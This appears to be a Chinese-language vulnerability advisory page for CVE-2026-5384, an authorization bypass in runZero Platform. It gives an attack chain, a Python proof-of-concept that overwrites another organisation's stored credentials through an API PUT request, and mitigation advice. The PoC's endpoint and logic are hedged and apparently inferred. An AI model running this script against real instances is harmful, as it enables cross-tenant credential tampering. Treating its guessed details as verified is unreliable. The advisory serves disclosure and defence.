IPBUF安全漏洞报告
English
CVE-2026-5384 CVSS 5.8 中危

CVE-2026-5384 runZero权限绕过漏洞

披露日期: 2026-04-07
来源: 44488dab-36db-4358-99f9-bc116477f914

漏洞信息

漏洞编号
CVE-2026-5384
漏洞类型
权限绕过
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
runZero Platform

相关标签

权限绕过访问控制CWE-863runZero中危

漏洞概述

runZero Platform 存在不正确的授权漏洞,允许攻击者在授权组织范围之外更新凭据。该漏洞属于 CWE-863,CVSS 评分为 5.8(中危),可能导致敏感凭据泄露。厂商已在 4.0.26021.0 版本中修复此问题。

技术细节

该漏洞源于 runZero Platform 平台在后端处理凭据(Credential)更新请求时,未正确实施授权检查机制,具体属于 CWE-863 不正确的授权缺陷。攻击模型要求攻击者已拥有平台的高权限账号(PR:H),但系统未能有效隔离不同组织(Organization)之间的资源边界。在技术实现上,平台可能仅验证了用户的操作权限,而忽略了目标资源(即凭据 ID)是否归属于用户当前所属的组织 ID。攻击者可以通过构造特定的 API 请求(如 PUT 或 POST 请求),指定目标组织中存在的凭据 ID 及新的凭据内容。由于存在逻辑缺陷,服务器接受了该请求并更新了凭据。成功利用此漏洞后,攻击者能够利用这些被篡改的凭据在受影响的组织范围内执行扫描或连接任务,从而导致敏感信息的泄露(C:H)。此过程无需目标用户进行任何交互(UI:N),且主要通过网络层面发起。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获取 runZero 平台的一个高权限账号或 API Token(PR:H)。
STEP 2
2. 侦察目标
攻击者枚举资源,获取不属于其当前授权组织的目标凭据 ID。
STEP 3
3. 跨域更新
攻击者发送 API 请求,利用授权逻辑缺陷更新目标凭据。
STEP 4
4. 利用凭据
使用更新后的凭据执行任务,获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-5384: Incorrect Authorization in runZero Platform # Description: This script demonstrates how a high-privileged user might update # credentials belonging to a different organization due to authorization bypass. TARGET_HOST = "https://<runzero-instance>" API_TOKEN = "<HIGH_PRIVILEGE_TOKEN>" # Headers for authentication headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Identify a credential ID from a different organization (Reconnaissance required) # Assume 'target_cred_id' belongs to Org B, while the API token belongs to Org A target_cred_id = "TARGET_CREDENTIAL_ID_HERE" # Step 2: Prepare the payload to update the credential # Exploit: The system fails to check if target_cred_id is within the token's authorized scope payload = { "name": "Compromised Credential", "username": "attacker_controlled", "password": "new_password" } # Step 3: Send the update request url = f"{TARGET_HOST}/api/v1.0/creds/{target_cred_id}" try: response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Potential Exploit Successful: Credential updated outside authorized scope.") else: print(f"[-] Request failed with status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

runZero Platform < 4.0.26021.0

防御指南

临时缓解措施
在升级补丁前,建议管理员严格审查所有高权限账户的活动日志,关注是否有跨组织的凭据修改行为。同时,通过网络策略限制对 runZero 平台 API 的访问来源,仅允许受信任的 IP 连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表